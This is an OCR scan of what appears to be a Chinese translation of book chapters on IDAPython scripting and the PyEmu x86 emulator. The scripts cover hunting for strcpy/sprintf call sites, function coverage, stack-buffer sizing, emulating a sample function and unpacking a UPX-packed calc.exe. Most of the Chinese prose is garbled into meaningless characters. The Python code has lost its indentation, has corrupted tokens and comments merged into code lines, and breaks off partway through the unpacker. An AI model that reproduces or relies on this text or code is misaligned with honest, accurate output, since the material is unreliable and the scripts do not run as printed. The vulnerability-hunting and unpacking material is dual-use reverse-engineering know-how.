AddBpt( long Address )

FEF E FH s B A T o

GetBptQty(
S B 247 A T K

GetRegValue( string Register )
L7 A7 a8 4R T A A AR

SetRegValue( long Value, string Register )
WE B A7 i A

11.3 JE A1

FATSe G — LA ) i s 22 W B BIA . 2 )5, RT AR e R B e AT,
BE— P S8 T RE S5O, S0P S AR o 1R SR BAUACKE Ji 2 2 e WA £ 165 o K 1) 1
i, BALHI IDA [¥) debugger hook M4 pfi £ OAUIS B i 5, AT P AT R ARG IR/

11.3.1 EERREHAHER

NN IR FAEF KA bug BINHE, 1503 — 205 HI I B2 2 8 A H 1
PR, LRGBS 1) 745 R % UL BB B (strepy, sprintf), WA UL B # (memepy) 3. 7EFRATH A%
PP I, 75 TR T L 4k X e R A, I A, K BRERIX A B (1) pR L, R R
RNy, 2 Ex St 7 115 e & SR R, JATI7E IDA & gl RAR 77
fERE k.

#cross_ref.py
from idaapi import *

danger funcs = ["strcpy","sprintf","strncpy"]
for func in danger_funcs:
addr = LocByName( func )
if addr '= BADADDR:
# Grab the cross-references to this address
cross_refs = CodeRefsTo( addr, 0)

print "Cross References to %s" % func

"

print "
for ref in cross_refs:
print "%08x" % ref
# Color the call RED



SetColor( ref, CIC_ITEM, 0x00001f)

ARG S o ek £ ik, AR5 IR I Sl iR A7 R0 o B SRAFIX 8 bR B A8 X
AME R, BT 27 A TEAT, SBOndtEAHTEN TR, JffE IDA el hd. Az
9 P 4F 1] war-fpd.exe IR H AR, R 200N B

Cross References to sprintf

004043df
00404408
0040449
00404810
00404851
00404896
004052cc
0040560d
0040565¢
004057bd
004058d7

Listing 11-1: cross_ref.py /%

TR SR H R A M BE RS sprintf B A IHLTT, WURAE IDA P B8 IX Se ki 7
NEHENHME LT, Wk 11-3.

loc L428200:
mou eax, [ebp+arg_#a]
1ea ecx, [ebp+Dest]
push eax

push offset aGoonlineCreate ; "GoOnline{): Create(%d) failed.™

iu5h ECX ; Dest

add esp, OCh

lea ecy, [ebp+Dect]
mouv eax, dword 4SLAECY
push eCx

mou esi, [eax]

push 2

mowy ecCx, eax

call dword ptr [esi+A4Ch]
Figure 11-3: sprintf VFifid cross_ref.py 82 /5

11.3.2 KEFEEXR



TEPAT BN BT I, B FRA B IE AT B 2 A 2 AR AT Y, AR R
T WA P00 248 Bt P o — N B, 3 A2 A HH SR P s s AT — 1 SCRY , QRS2 26 3 A e 4
BAVRLF THE, FBEPMT 4. R, FATEH IDAPython $RHLH brfe e (1 Fr A e 4L,
F HAEFFREAN R B TR AR AL v B A T 35 . 2 J5121T IDA iR %S, debugger hook £ 34—
TR IT ik A PR AT G 0 AT

#func_coverage.py
from idaapi import *
class FuncCoverage(DBG_Hooks):
# Our breakpoint handler
def dbg_bpt(self, tid, ea):
print "[*] Hit: 0x%08x" % ea
return
# Add our function coverage debugger hook debugger = FuncCoverage()
debugger.hook()

current_addr = ScreenEA()

# Find all functions and add breakpoints

for function in Functions(SegStart( current addr ), SegEnd( current addr )):
AddBpt( function )
SetBptAttr( function, BPTATTR FLAGS, 0x0 )

num_breakpoints = GetBptQty()

print "[*] Set %d breakpoints." % num_breakpoints

5 — 304 %¢ debugger hook , I AF A& AR BBk 2 TR & o IR ER SR BUIT A7 R 4L
ok, FERRASHURE U E W T SetBptAttr R URIAAS, BTG, AHE IR, 4k4ak
PAT; WARBAXFEM, IBBATRAEF TR RAES T, ARIEWBNI. 5 —5He
EN T WS s . AW & I, debugger hook H ¥ W £ Ab BE pR £08t 2 T
EH Y AT, XAk AR 5 ea $84%, &5 41T EIP 75 fras IOME . IRAEBAT A%
(AR F9), KT 48 16 B A BB BAT T, DL ENIHAT I

11.3.3 7&K

A I BATDR AR PP REAT IR I VAR (R I, 17 A R B0 T R R R/ AR R Y 3R
MILZWI R RIS, A 32 pR B e — AR B2 IR SRR X, R E e, ATt
SRR, e A% i 22 /D Bl 45 6 B A S HH PR DR, SRR TRV AT IR TR AR A
Ao N I FRATT ] — BRI GRS S X TRAE 55 BOS TR BT AT (I RR L SR AR 28 R 4



MRS S IR D2 DX/ INRT S BATTHIZESR, AT B R R o R ISy T 6 BRIAS 5 k2 ok,
ATV REAE W GRE e (R, ARG PR SRR R 1S X A ) e B

#stack_calc.py

from idaapi import *

var_size threshold =16
current_address = ScreenEA()

for function in Functions(SegStart(current address), SegEnd(current address) ):
stack frame = GetFrame( function )

frame counter = 0

prev_count =-1
frame size = GetStrucSize( stack frame )
while frame counter < frame_size:

stack var = GetMemberName( stack frame, frame counter )

—nn,

if stack var !
if prev_count != -1:
distance = frame_counter - prev_distance
if distance >= var_size threshold:

print "[*] Function: %s -> Stack Variable: %s (%d bytes)" %

( GetFunctionName(function), prev_member, distance )

else:
prev_count = frame_counter
prev_member = stack var
try:
frame counter =  frame counter +  GetMemberSize(stack frame,
frame counter)
except:

frame counter += 1
else:
frame counter += 1



WATREE T — DB, AR — MR N EAE SR TR XL BCER
16 N7, AR AT LUSEE R &R AR R NE BRI RE R 558, m R g
IRRE, 1B BREARREZE XS % . T GetStrucSize T HHARMESL 1)K/ o B2 FHIR
AR AR . AR R B, R S AT AR A B R AT MR AL E . R Rl
() (0 ZE ARV SR AR 2 TR K/ o SRRSO, AT BN K, WERANEE K, misilil
SRR RN, SRR BT AL E, SRR N AN E . WERTCTEIA AR K
PNy BUAE 2T A B R SRR — AN, BRI —AMLE, R ARSARIN . EMAIET ),
FATHRER B METE B 1 OBt
[*] Function: sub_1245 -> Stack Variable: var_C(1024 bytes)
[*] Function: sub_149c -> Stack Variable: Mdl (24 bytes)
[*] Function: sub_a9aa -> Stack Variable: var 14 (36 bytes)
Listing 11-2: stack_calc.py %

WAEFATHA T IDAPython FYSERLAII, RN WA TSEI T IILMRES Y RIIA . X

LE NN A, R RAT A AR 2 R, AR TR, ES g Y. P ik
f11%& —% IDAPython [J5£B5N T : PyEmu, —/N3ET- Python ) x86 1/7 FL 8% .

12

PyEmu

PyEmu H Cody Pierce(TippingPoint DVLabs team) T
2007 £ B EH K< EH X AA . PyEmu &—/fF Python SEILI
1A32 3%, FATHiE CPU MEMAT R LB AR TS - 1
HBEEAH, e idmsmeE, RATRAHEIERZIT
AR ER K RN MAE 21T, PyEmu
H A = A 2% :IDAPyEmu, PyDbgPyEmu #! PEPyEmu .
IDAPyEmu | T-7£ IDA Pro P 58 & 477 EAE5% (it DAPython #iJ1,

PEAE S 11 5D, PyDbgPyEmu JEHI Tahd 3 #T,  [RIIN & Fe i (I JRA T30 1E i) N A2 A 27 A7 8
PEPyEmu 2 — ML ST, AT IDA Bl 58 Mg FATTEZA 4



IDAPyEmu £l PEPyEm, # K] PyDbgPyEmu ¥4 KK A LK. FiEJe M PyEmu )%
BeTFUR, B RN SRR T2, by SE B N AR 1 4%

‘4% PyEmu

M http://www.nostarch.com/ghpython.htm "~ 24 2 F1 6L 4F 1) SCHF, 1 R 3% 1 ) 2% 2¢
googl e code I F.

AT S, s $] C:\PyEmu. HFRENE PyEmu AR I, A2 IANBL AT
Python f{6i5:

sys.path.append(" C:\PyEmu\")
sys.path.append(" C:\PyEmu\lib")

FNRAEIRA A T T PyEmu (R G580, 5 05 K A G S o

122 PyEmu—%

PyEmu # %70 = AN FEE R R 4. PyCPU, PyMemory 1 PyEmu. 53RAM1 B %K)
Bt PyEmu 28, ‘& FA1 PyCPU Al PyMemoey A2 H.5¢ R 2 I B TAE . 23ATTMR LK 5
PyEmu 447 — MNMEA I, ‘& atii ] PyCPU 58 i EL IE R 2 #1E . PyCPU fEHEAT 454
FERIIE, BN AFEAES JF PyEmu, B PyEmu k221 H PyMemory 4B 5¢ B3E AN 45
A WERE, 55 B PyEmu 82 1045 R A28 H # .

Rk, RIAIMIRN TR NS T RERUBATHIEH 7%, DU BE 4 19 B AR R
PyEmu B IAT5EK T A4, RN RSB REXS SR B HI A A0 1Y) T file o

12.2.1 PyCPU

PyCPU 252 PyEmu %0, BRI CPU —Ff . fEfi IR, &5t
PATHE Ao 4 PyCPU B — a2 Mg, e R85 ( AT IDA
Pro/PEPyEmu 54 11 57 81 &A1) PyDbg 3KHX), SR 5545 AL H 245 pydasm, B 5 f#0S Ak
ERAERSFEAEN % . PyCPU $ it (1 B il i 45 2 1 g 1115 PyEmu BIE5F 54850 T 1l BE .

FA~ PyEmu B2 BN 38 4, #H — MAHXT Y N EE . 254011, WK 4 CMP
EAX ,1 1645 PyCPU, % PyCPU it 4311l PyCPU CMP() e840 AT B 1F HIERAE, I M A7
KRB, ZJGRE CPU MbREAL, S UFREPIX IR LRI A S o A R (1) -7 B ] LA
F & PyCPU.py, T 1) PyEmu SCHFIFH5 2 A0 B ph B0 701X 5L, i i w53 &A1 ml LA 1 CPU
ST QAT 58 I L AR IR I Z R AE I o AR ORI (W n] i3, Cody 7E3X B ifinf Wb AR 5%

12.2.2 PyMemory

PyMemor $1 53 NIk A7 AT 5 R ZEECH o [R] IR A UGS TP TR 3 (A QRS A
PRPLREAT RIS, DUEAE O 88 TP U7 1) o AR A S8 A 22 R, AR TRATE F #%03€ PyEmu,



PL AR K2R TT 1
12.2.3PyEmu

PyEmu 1 St IR Z A7 LA MIS/E . PyEmu ZRA SR AR S BRI R0, AT
KB REMGARBNI TT A st K ) LA BAS, AN O RJZ A o X D)0 PyEmu $243t
{2 By pR B S @H]Tﬂl‘]’*“iﬂidl‘]ﬁ’]ﬁ"@ﬁif’ﬁ?ﬁ%‘cﬁﬁﬁ, T A BAFHATHURE , &
AR AF AR B NAF RS . R IR = — e AL

1224 PATHEAE

PyEmu AT RE H— AN R Ed% i, execute()o JRALGNT -
execute( steps=1, start=0x0, end=0x0 )

BIL=ASE, R AR AR, A PyEmu 437k TR A AT X AN kAl
itFm PyDbg () EIP 57484510 AL E, B PEPYEmu gkt al 4T R 3 O Ltk b
V& IDA Pro Yebr T AL 'S o start Ky FFURHAT IHLLE, steps AHATIIFE 2%, end Ky 4G
WAL

12.2.5 WM FFSEE

B RIS 2R 75 A4 5 A OB AR 00 1) (R i R R R 22 . PyEmu # &A1 150 1 T 4 2K
WAE, FeAS & (stack variables), HZ¥((stack arguments), ZFf7as. WAFERVEH get memory()
F1 set memory()5¢ il

get_memory( address, size )
set_memory( address, value, size=0 )

get_memory() BR FHZ L 2 4> S 4 address AT WAL, size ) BRTF L KK D .
set memoey() 71 71 5 A, address J'H ARIHLNE, value N5 AWIMH, size 5 ANEHEH
Ko

TN TR ERAE I R BB 25 A 22, B2 TEARME AL o R 202 HOR A i A 8 PR G 2R R

set_stack argument( offset, value, name="")
get_stack argument( offset=0x0, name=""")
set_stack_variable( offset, value, name=""")
get_stack variable( offset=0x0, name=""")

set_stack_argument()I¥] offset AHXJ 55 ESP, H T X4 N R E S Bl AT o8 . et m



EFEH Al DASE I ny LR E R 44 7« get stack argument()if i offset ¥5 3 (IAHXS T ESP [
R SEUE, s LR M name(HT$2 & 7E set_stack_argument HHHE (L T)3k1G . i 7
Wk

set_stack_argument( 0x8, 0x12345678, name="arg_0" )
get_stack_argument( 0x8 )
get_stack _argument( "arg_0")

set_stack variable()Fl get stack variable()[FJ#AEHISMIER T offset & AHX T EBP(WIER 1t
VFEITR) LA, R BAT T 87 D3 454 pR 0 SR B AR

12.2.6 b FH pR E

b PEpR E SR AL T AR GOk B O R e g5, T
WEE, WEH BT R e . PyEmu 4 8 NETAEE AL :  register AbPE AL,
library Ab¥pR%4, exception Ab¥HpE %Y, instruction ALEH R %L, opcode ALPH R %L, memory AbE
PR %0, high-level memory AbPEpR#IASH program counter Ab ¥ pf 5o LLFRATTERIE ) T i F B —
MR, ZEATY FEAEH BEAT.

12.2.6.1 Register A3 %%

Register Handlers 77 /7 A0 EE R 50, T IEARAT AT S5 A7 28 1A . A 25 A7 2 1 3
B MUK i & Register Handlers. “223% 7 =M -

set_register_handler( register, register_handler_function )
set_register_handler( "eax ", eax_register_handler )

LR Jr s Ay B AL BT, R
def register_handler_function( emu, register, value, type ):

2 40 PR R HCE T B, AT IS 808 X PyEmu A8\, S — NS 80k & PyEmu 5247
W, A ETAARY, DA, type & R X KA R BOE RS o BT R

2RI HIX PP 7 M AR 2 A mm HoJ7 8, 0 5 75 BRI B AE Ab P ok B0 28
11,

12.2.6.2 Library -3 53

Library handle FEAb B pR 4L, RELEIRATHISCITA IOANEE AL, AR EN IR T HERE > 2



BRG], IXRE AL EAR T (S A2 A A i 12 e K ) 3 D SR SR [P 222y s
set_library_handler( function, library_handler_function )

set_library_handler( "CreateProcessA", create_process_handler )
set_library handler("LoadLibraryA", loadlibrary)

J7E Kb B R A S TR R
def library_handler_function( emu, library, address ):

F—NSHE PyEmu (1561 library 9 FATEE AT &8, B0H =2
WS AE N AT IR 3tk

12.2.6.3 Exception At i %k

Exception Handlers 5 &b 34 bR ORI 25 — % /0 28 11" b 2R pR ZAH AL s PyEmu 47 L4881 (1
S 2 fb & Exception Handlers A o 2487 PyEmu 2 Fril AR P EE 52, Wt e iR T6ED
Ab FRAERLFL A AR AT N A7 U ) o e 7 =R T
set_exception_handler( "GP", gp_exception_handler )
Exception AbBEpR £ 5 QI

def gp_exception_handler( emu, exception, address ):

[FFE, B—ANSH0E PyEmu 3261, exception 455 A5, address Ay 5 KA H AL

12.2.6.4 Instruction At ¥ 57 %

Instruction Handlers 17 AL BERRH, AR aRK, R4 RES SATMTHE 2 152 . & Cody
7 BlackHat it 7S KIISKE, ARAENSIEIL 223 — 4> CMP F5-4 AL BE B4, SRIEPLEEARE P I
FE I SR, JFEERIEA.

set_instruction_handler( instruction, instruction_handler )
set_instruction_handler( "cmp", cmp_instruction_handler )

Instruction ALEE R EUR Y UIT
def cmp_instruction_handler( emu, instruction, opl, op2, op3 ):

B ANSHUIRIAE PyEmu 524, instruction W AT G S, HAN=AEE T RER IS
HX%.



12.2.6.5 Opcode b3 i %5

Opcode handlers #/EH5 b B & £RIHE 4 Ab 2E o8 Z0AE 5 ARABL, ATART— AN IR B A4t B
AT, #4318 H Opcode handlers. X FEFA DA ()45t AL RS T o B— R4
AT AT BEA AN R ARSI OB T e T s o %, fill, PUSH EAX W #1ERS 2 0x50,
I PUSH 0x70 #4052 0x6A, A KIEN L MRS L 0x6AT70,41 1 FroR:

50 PUSH EAX
6A70 PUSH 0x70

AT 2T IR AR T B

set_opcode_handler( opcode, opcode_handler )
set_opcode_handler( 0x50, my_push_eax_handler )
set_opcode_handler( 0x6A70, my_push_70_handler )

AN BA I A B R I B R AT, 55 A SO A AT
S0 IR R TS/ 3, T LU 2 AN 740, BARSE —/NF— R o AL S5 T

def opcode_handler( emu, opcode, opl, op2, op3 ):

$—/ PyEmu SEH, JSTHIAFE 25, opeode A BIMHEAERD, I =/NddR4
A REAEH] BT B

12.2.6.6 Memory b3 %5

Memory handlers N 174 BE pR E0H T+ BR R 8 Hu bk IO 208 U7 A0 o " Reak FRATTAR 7 (o 1)
BRI DX ORI £ LA R 4 SR AR i ORI R . g B R

set_memory_handler( address, memory_handler )
set_memory_handler( 0x12345678, my_memory_handler )

address fiij LA NFRATAUEL W L () N A7 Hudik,  my memory handler & FAT] ) AL 2 pR
B AR

def memory_handler( emu, address, value, size, type )

5 AN H0 address A RAENAFEVT R HLHE, value A2 #EEE L E B NBIEHE, size &2
PEIRAN, type 5 IFRRA X R ERAELIA 2



12.2.6.7 High-Level Memory #b 3 i %

High-Level Memory Handlers =12 A2 A0 B R4, AR s g R ai ok .l i e eifi],  3RAM
AR MIX A AR CRUFEARAIHE) HIE . KPR RE A A BN AU ], A 2R AR
& 2k

set_memory_write_handler( memory_write_handler )
set_memory_read handler( memory_read_handler )
set_memory_access_handler( memory_access_handler )

set_stack_write_handler( stack_write_handler )
set_stack_read_handler( stack_read_handler )
set_stack_access_handler( stack_access_handler )

set_heap_write_handler( heap_write_handler )
set_heap_read_handler( heap_read_handler )
set_heap_access_handler( heap_access_handler )

JITA R34 2 2 oy B A BT B AR 3 (3t — > Ak B R Bl T DA T AR AT Y A7 R AR B S 2 i
FAlTo AL R B B AL

def memory_write_handler( emu, address ):
def memory_read_handler( emu, address ):
def memory_access_handler( emu, address, type ):

memory write_handler 1 memory read handler } & & H (12U PyEmu SRR A2 1305

Itk . 58 =4 access handler 2 T —™ type FH T 1 BH X AN R 1) 42 152 B0 40 i & Lo H g
I 1 A 2 o F5ORD L THI 0 —#F, AU

12.2.6.8 Program Counter Ab¥ pR%y

The program counter handler F&J7 U1 ZU#s A0 BE R £, HFAERE 7 BT BIUHE e Hb kb 19 B
Ko EERIFEUIT

set_pc_handler( address, pc_handler )
set_pc_handler( 0x12345678, 12345678 pc_handler )

address A ALK ER L kL, — H CPU AT 2Lk 25 il A FRAT T IR Ab P ek B A3
PR S R QR



def pc_handler( emu, address ):

NS4 address A Al PRI .

MAETMCEIHESE T, PyEmu SRR R AT 7520 TAET T BT
K BATA LR . 55— METH] IDAPYyEmu 1t IDA Pro B8 —AMfRj S s B0 . 28 — A
SR A3 H] PEPyEmu fi# s — M UPX IS4l i) CHRROTTF IR s e — 3 S0t

12.3 IDAPyEmu

AT — A1 13k 2 AE IDA Pro 23 A2 7 I i, {4 FH PyEmu 47 B — R 7 5 11 oR 44
WH . XKL AR Pl 2 addnum.exe, FEEI)REME AT AT TN SH, ARG
o, FE e, AR C++4% 5, AT\ http://www.nostarch.com/ghpython.htm. %%,

/*addnum.cpp*/

#include <stdlib.h>

#include <stdio.h>

#include <windows.h>

int add_number( int numl, int num?2 )

{
int sum;
sum = numl + num2;
return sum;
H
int main(int argec, char* argv[])
{

int numl, num?2;
int return_value;
if( argc <2)
{
printf(" You need to enter two numbers to add.\n");
printf("addnum.exe numl num2\n");
return 0;
} numl = atoi(argv[1]);
num?2 = atoi(argv[2]);
return_value = add number( numl, num?2 );
printf("Sum of %d + %d = %d",num1, num2, return_value );

return 0;



P27 i 2 AT A8 N 1) 2 B0 4 e 8 8, AR5 W add_number oR ECAH 0. FRATTHS
add_number BREE R TATTFLN G, RO E 08 1) 5Ll H 45 AR A 5 e, 1E A B AT
H PyEmu [ s M A Ik FE

TEIRN PyEmu A2 1/, iEFATEFE add number ) K- 4l

var_4= dword ptr -4 # sum variable
arg 0=dword ptr 8 # int numl
arg 4=dwordptr O0Ch # int num2

push ebp

mov ebp, esp

push ecx

mov eax, [ebptarg 0]
add eax, [ebptarg 4]

mov [ebptvar 4], eax
mov eax, [ebptvar 4]
mov esp, ebp

pop ebp

retn

Listing 12-1: add_number )24/

var 4, arg 0, arg 4 70 AESEAERRT A E, N CHI RIS ACRE FmT LU 28 1 &
A RBIPAT IR, ST OCR . ATV PyEmu {5 FLEEAN R 2L, a2
A VR ACHS, R BEE arg 0 AT arg 4 A FRATTTE BT, Bn retn 3R [0 K] i,
IR EAX IO, AR A0R R BRI . BEAR 0T L R LT T o, AN T AN L AR
st — V) ek B FL SRR, — 3

12.3.1 K E

THAMAS S, 5L\ PyEmu FBRAEBCE IR

#addnum_function_call.py
import sys
sys.path.append("C:\\PyEmu")
sys.path.append("C:\\PyEmu\\lib")
from PyEmu import *

BCRLF PR AR Jn, WUETT U s BT B IS T o 5B R AT T i AR PP 1) A
At e S 2 O g, DUMED a0 BEAT . UM ERATZ ] IDAPython Jif#ix L4
B, XAHSC R BANRE MRS, BRI, AL



#addnum_function_call.py

emu = IDAPyYEmu()

# Load the binary's code segment
code_start = SegByName(".text")
code end = SegEnd( code start)

while code start <= code end:
emu.set_memory( code_start, GetOriginalByte(code_start), size=1)
code start+=1

print "[*] Finished loading code section into memory."

# Load the binary's data segment
data_start = SegByName(".data")
data_end = SegEnd( data_start)

while data_start <= data_end:
emu.set_memory( data_start, GetOriginalByte(data_start), size=1)
data_start +=1

print "[*] Finished loading data section into memory."

A AT AT A7 S48 5 ¥ 2 BT b 20 5451 4h — > IDAPYEmu X %o B 4 A0 B R i B
In#tE PyEmu N AT, 2 I SLSE AT A m B2 . Al IDAPython 1] SegByName()b% £ 4K
P, SegEnd()fk i . ARG — AW PR IX L b 1 2 % V12 PyEmu 18 N 47
o AR AIEE S I e G, MR ERRSA T, RESH UMERIRE, &G s
—A retn FEA AL FE R 2L

#addnum_function_call.py

# Set EIP to start executing at the function head emu.set_register("EIP", 0x00401000)

# Set up the ret handler emu.set mnemonic_handler("ret", ret_handler)

# Set the function parameters for the call emu.set stack argument(0x8, 0x00000001,
name="arg_0")

emu.set_stack argument(0xc, 0x00000002, name="arg_4")

# There are 10 instructions in this function emu.execute( steps = 10 )

print "[*] Finished function emulation run."

T Jcks EIP 5 17 2%k, 0x00401000, PyEmu 17 EL g8 MIX BT IAHATIE S . 5,
TERRE retn 84 L% E  Bhid 7 (mnemonic) 5l # F5 4 40 P pF £l (set_instruction handler). &
=, WEHRSECIME R BOR A o 7RI LY A 000000001 FT 0x00000002. 1) il: PyEmu
AT 58 A B4 10 ATAIS . e ARSI R .

#addnum_function_call.py
import sys



sys.path.append("C:\\PyEmu")
sys.path.append("C:\\PyEmu\\lib")
from PyEmu import *
defret handler(emu, address): num1 = emu.get stack argument("arg 0")
num?2 = emu.get stack argument("arg 4")
sum = emu.get register("EAX")
print "[*] Function took: %d, %d and the result is %d." % (numl, n

return True
emu = IDAPyYEmu()
# Load the binary's code segment
code_start = SegByName(".text")
code end = SegEnd( code start)
while code_start <= code_end:
emu.set_memory( code_start, GetOriginalByte(code_start), size=1)
code start+=1
print "[*] Finished loading code section into memory."
# Load the binary's data segment
data_start = SegByName(".data")
data_end = SegEnd( data_start)
while data_start <= data_end:
emu.set_memory( data_start, GetOriginalByte(data_start), size=1)
data_start +=1
print "[*] Finished loading data section into memory."
# Set EIP to start executing at the function head
emu.set_register("EIP", 0x00401000)
# Set up the ret handler
emu.set_mnemonic_handler("ret", ret_handler)
# Set the function parameters for the call
emu.set_stack argument(0x8, 0x00000001, name="arg_0")
emu.set_stack argument(0xc, 0x00000002, name="arg_4")
# There are 10 instructions in this function
emu.execute( steps = 10 )
print "[*] Finished function emulation run."

ret 454 Ab B bR H 7 S0 R0 B RUR 2R H AR S B EAX (WA, B¢ Jo PRI e AT 14T ER K
H IDA Jin# addnum.exe, 2XJ54 PyEmu A 1E IDAPython SCAF ] . Farth 45 R ik

*] Finished loading code section into memory.

*] Finished loading data section into memory.

]
]

*] Function took 1, 2 and the result is 3.
]

— — —

*] Finished function emulation run.

Listing 12-2: IDAPyEmu 15 E B8 %5 [ % H!



MREFAR TGt AN RRAR R Eh, B BB [FHE AR A ER, DR R B0 sesh 17 24
BB IR, AL DUMBAS RSO, BEHLIIERE A R BT 30, AR5 MEARAH 2K
B (0 Y B AR TG ARV o JE— R, M RIB R A ETAT R BRI, ARG X7
IRRET AR MR 90 32, PR IEAT rIAR R FREF P IR RCHOR, eI B A BOE A, 2
PRI Lo e T RALIATTH] PEPYEmu FEfR s — A 45 S0

12.3.2 PEPyEmu

PEPyEmu ZEH T o[ $AT SCAFERS T CRTEZEE IDA Pro).  HE/N bRt R wlt Je 4 il i
AT RAT SO BN A, SRS pydasm HEATHR A IS . R IHIAREGH, FRATTKE W
T BAAEAT — NIRRT (] AT SO, SR FE A st ke 9 JSU s SO e A BB | o X IR A
FH ) IR 4 4% 2F 5t /& UPX(Ultimate Packer for Executables), — @ K TFI5 IR 468044, [R)HSH
S ) IR A A, F T B KR B (%) s 440 ] AT SO, (R AR e B s i 1 FH R ek 5 73
Wi . (EAE ] A 2 X PyEmu JIA( Cody Pierce $24it VWl R Fr k4T i s 2 /1, iLIRATEH LS8
PR TAEN

1233 54658+

RAEFEF R CA . SRR ME 1.44 BELWIHR, R4 FE 5 5t kS v] s (kb
R R /NS FRATI R Bl A B9 5, BEAE SRR, X T A AR AT A
JREEIT AR I —A 7y, SRR o — AN IR0 P 208 H bR RE T AR5 B
AR Bl AT 4, SRJEHEN I RV St s IR AR o SR P AT (I, i ARG st 24
JRAEAHE I T3 N AE, AR JE R R IR 4R N 11 25 OEP(original entry point ), JFUR 1E #2817 FEF
TEFRATT 3 AT RRRAT ] e 28 3 R 2 T AR 20U A T AT T o 3K IR (R 2 AELE FH 88 5 Ak
EOUTESS (A SR E & A, Ak IR R B — MR N SO A, FH RS2 24T
fife F AR AR B R M . TS AR ? T BLES . DA FRATI AT I I B IEAE AT RE T, 1
SN TR A (AR DRI B8 s AT, ARG SRS BB R e i, FEAE TR IR R 1 iR
ERRRY, FeAGRIAER o USSR IEH I R e 7.

IXIRFRATTIEFE UPX 44 calc.exe. #AJGH PyEmu fi# ', )i dump k. i fiX
JPEFIREE T R4 7, TR R

12.3.4 UPX

UPX J& B, 2TFIER, 2&F°F & 0 (Linux Windows....). $&EEANFEIMELEZ,
VFZ2 M INAIEIT, 158 S PPN R B R 4T 55« FRATVE I BRI IR 46 7 48, #5 ik /R mT bl i
IR o

M http://upx.sourceforge.net % UPX.
fil 32 C A%, B ERARMEIE A, P IRATL AN G 217484 E . 9TIF CMD, &
AT H s F] Clupx303w(tB sl & UPX fif k¥ H 3k%), FALL R A



C:\upx303w>upx -o c:\calc_upx.exe C:\Windows\system32\calc.exe
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2008

UPX 3.03w Markus Oberhumer, Laszlo Molnar & John Reiser ~ Apr 27th 2008

File size Ratio Format Name

114688 > 56832  49.55% win32/pe calc_upx.exe

Packed 1 file.
C:\upx303w>

JEII 45 T Windows (1715 4s, JFHFAER T CH T
-o ATHIARES, feEkn i 4. PR, & FE] T PEPYEmu i T

12.3.5 {#/ PEPyEmu f# /% UPX

UPX JEZ vl UATFE P VAR T B0 7. S FEFMION D A, FR I ARIEACHS, A s
TN AR B, UPX0 Fil UPX1
o A H Immunity #4652 7 K 2 W A7 JRI(ALT-M), B2 5 20 R AL i«

Address Size Owner Section Contains Access Initial Access
00100000 00001000 calc_upx PE Header R RWE
01001000 00019000 calc_upx UPXO0 RWE RWE
0101A000 00007000 calc_upx UPXI1 code RWE RWE

01021000 00007000 calc_upx .rsrc data,imports RW RWE

resources
Listing 12-3: UPX K482 J& IR I A7 R,

UPX1 Wy fRasse, Jodn & 7 F 2 AR . RIS UPXT M2 G, ik
H UPX1 B, BHAZIER af $ATASER, JFAPATRE T . FRATEAM 0 02 L0 HARIs AT i e
A, [ AW BIP A1 IMP, 434 IMP $52-{E15 EIP {5 [FE H UPX1 BL i)
i, Uk B 2Bk 2 JRan AR B T .

T RIFWERIS MG S, X RIA IS AL PEPyEmu k.

#upx_unpacker.py

from ctypes import *

# You must set your path to pyemu
sys.path.append("C:\\PyEmu")
sys.path.append("C:\\PyEmu\\lib")



from PyEmu import PEPyEmu
# Commandline arguments
exename = sys.argv[1]
outputfile = sys.argv[2]

# Instantiate our emulator object
emu = PEPyEmu()

if exename:

# Load the binary into PyEmu if not emu.load(exename):
print "[!] Problem loading %s" % exename
sys.exit(2)

else:
print "[!] Blank filename specified"
sys.exit(3) # Set our library handlers
emu.set_library handler("LoadLibraryA", loadlibrary)
emu.set_library handler("GetProcAddress", getprocaddress)
emu.set_library handler("VirtualProtect", virtualprotect)
# Set a breakpoint at the real entry point to dump binary emu.set mnemonic_handler( "jmp",
jmp_handler )
# Execute starting from the header entry point
emu.execute( start=emu.entry point )

B — KI5 465 SC 1 in % #F PyEmu . 5 ¥, 7F LoadLibraryA, GetProcAddress,
VirtualProtect — ™R b 152 B ZE AL BE PR AR o 3 S8 pR E AR AL MR s ARRS TR Y, 3K e A DA 20
BATA CTE AT BB =00, e P HAT e e Bk 2] OEP By i, ATkt
ATARIAAE, XTSI IMP $5 2 KB s A0 5e . ) 35 VR0 2088, ANRZAFE 73k
FHEPAT A

#upx_unpacker.py

from ctypes import *

# You must set your path to pyemu

sys.path.append("C:\\PyEmu")

sys.path.append("C:\\PyEmu\\lib")

from PyEmu import PEPyEmu

HMODULE WINAPI LoadLibrary(
_in LPCTSTR IpFileName

)i
def loadlibrary(name, address):
# Retrieve the DLL name
dllname =emu.get memory_string(emu.get memory(emu.get register("ESP")
# Make a real call to LoadLibrary and return the handle
dllhandle = windll.kernel32.LoadLibraryA(dllname)



m

emu.set_register("EAX", dllhandle)

# Reset the stack and return from the handler

return_address = emu.get memory(emu.get register("ESP"))
emu.set_register("ESP", emu.get register("ESP") + 8)
emu.set_register("EIP", return_address)

return True

FARPROC WINAPI GetProcAddress(

)

in HMODULE hModule,
in LPCSTR IpProcName

" def getprocaddress(name, address):

m

# Get both arguments, which are a handle and the procedure name
handle = emu.get memory(emu.get_register("ESP") + 4)
proc_name = emu.get_ memory(emu.get register("ESP") + §)

# IpProcName can be a name or ordinal, if top word is null it's an ordinal
# IpProcName [¥]7H; 16 £ 42 null P, & 50U 7415 (1t 2 AN Hidik), 75 38 52 44 7
if (proc_name >> 16):
procname = emu.get memory_string(emu.get memory(emu.get register("ESP") + 8))
else:
procname = arg2
#IX arg2 ANFIIE M1 2K, NV 1% /& procname = proc_name

# Add the procedure to the emulator

emu.os.add library(handle, procname)

import_address = emu.os.get_library address(procname)

# Return the import address

emu.set_register("EAX", import_address)

# Reset the stack and return from our handler

return_address = emu.get memory(emu.get register("ESP"))
emu.set_register("ESP", emu.get register("ESP") + 8)

#IX HLNAZ 2 r("ESP") + 8, PUNA AN S HT 214
emu.set_register("EIP", return_address)

return True

BOOL WINAPI VirtualProtect(

)

in LPVOID IpAddress,

in SIZE T dwSize,

in  DWORD fINewProtect,
out PDWORD IpflOldProtect

" def virtualprotect(name, address):

# Just return TRUE



emu.set_register("EAX", 1)
# Reset the stack and return from our handler
return_address = emu.get memory(emu.get register("ESP"))
emu.set_register("ESP", emu.get register("ESP") + 16)
emu.set_register("EIP", return_address)
return True
# When the unpacking routine is finished, handle the JMP to the OEP def jmp handler(emu,

mnemonic, eip, opl, op2, op3):

# The UPX1 section

if eip < emu.sections["UPX1"]["base"]:
print "[*] We are jumping out of the unpacking routine."
